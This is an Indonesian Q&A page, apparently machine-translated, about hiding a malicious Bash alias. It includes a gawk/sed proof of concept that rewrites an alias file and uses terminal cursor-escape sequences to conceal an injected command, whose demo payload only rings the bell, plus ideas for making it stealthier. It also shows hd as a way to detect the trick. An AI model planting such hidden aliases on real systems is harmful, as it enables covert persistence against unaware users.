Apakah mungkin menyembunyikan alias jahat di Bash di Linux?

9

Apakah mungkin untuk menyembunyikan keberadaan alias jahat di Bash pada sistem Linux dan apakah itu dieksekusi oleh pengguna tanpa sepengetahuan mereka?

Dijeda sampai pemberitahuan lebih lanjut.
sumber

Jawaban:

13

Dimungkinkan untuk melakukan itu dengan menambahkan alias yang ada ke berbahaya dan menggunakan gerakan kursor untuk menyembunyikannya jika aliasperintah digunakan untuk menampilkan definisi alias. Ini bukan metode yang sangat mudah, tetapi mungkin tidak terdeteksi untuk sementara waktu. Perpipaan aliasmelalui hdakan menunjukkan kepada Anda apakah ada urutan melarikan diri (gerakan kursor) di alias Anda. Berikut adalah bukti konsep tentang bagaimana perintah jahat dapat dimasukkan ke alias:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • The sedperintah memodifikasi file bernama "alias" di tempat - naskah nyata dari jenis ini akan pergi untuk tenggorokan dan memodifikasi file script nyata sehingga alias berbahaya akan diaktifkan pada saat ini dijalankan.
  • Bagian berbahaya dari contoh ini hanya membunyikan bel terminal sehingga Anda tahu itu berfungsi.
  • Perintah yang semula alias akan dieksekusi dengan isi hidesebagai argumen sehingga bisa dibayangkan bahwa Anda bisa mendapatkan kesalahan yang mirip dengan yang dilaporkan dalam pertanyaan ini . Dimungkinkan untuk membalikkan bagian asli dan berbahaya untuk memengaruhi ini, meskipun ini akan mengganggu argumen yang diberikan kepada alias. Upaya dilakukan dalam skrip di atas untuk menandai akhir pertengkaran --.
  • Alih-alih chaining bagian asli dan berbahaya dengan &&, Anda bisa pipa satu ke yang berikutnya dan membuat script berbahaya (diwakili di atas dengan sederhana echoperintah) fungsi sebagai stdinuntuk stdoutpass-through baik untuk memodifikasi data itu akan melintasi atau menyembunyikan nya keberadaan lebih lanjut dengan tidak mengganggu pengalihan lainnya
  • Kemungkinan lain adalah memasukkan alias asli ke dalam skrip berbahaya yang dapat menghapus string gerakan kursor dari daftar argumen dan meneruskan sisanya ke yang asli.
  • Saya sewenang-wenang memilih catatan 3 dan 4, kode yang lebih cerdas dapat menargetkan alias tertentu, tetapi mereka harus berdekatan (atau gerakan kursor dapat dibuat lebih kompleks).
  • The hideString dapat dimodifikasi untuk menyertakan gerakan kursor yang berbeda dan teks alias asli sehingga aliasperintah akan muncul untuk menunjukkan alias tidak dimodifikasi bukannya bersembunyi bersama dengan bagian berbahaya.
  • Untuk mencobanya seperti yang tertulis, Anda harus memiliki setidaknya empat alias aktif, jalankan skrip ini, lalu sumberkan file yang dihasilkan . aliases. Kemudian Anda dapat mencoba menggunakan alias yang terpengaruh dan melihat seperti apa rasanya saat melakukannya alias|hd.
  • Tidak diragukan lagi ini dapat ditulis ulang dengan seratus cara berbeda - semuanya lebih baik.
  • Seberapa realistiskah ancaman jenis ini? Saya tidak punya petunjuk. Tetapi jika saya bisa melakukannya ...
Dijeda sampai pemberitahuan lebih lanjut.
sumber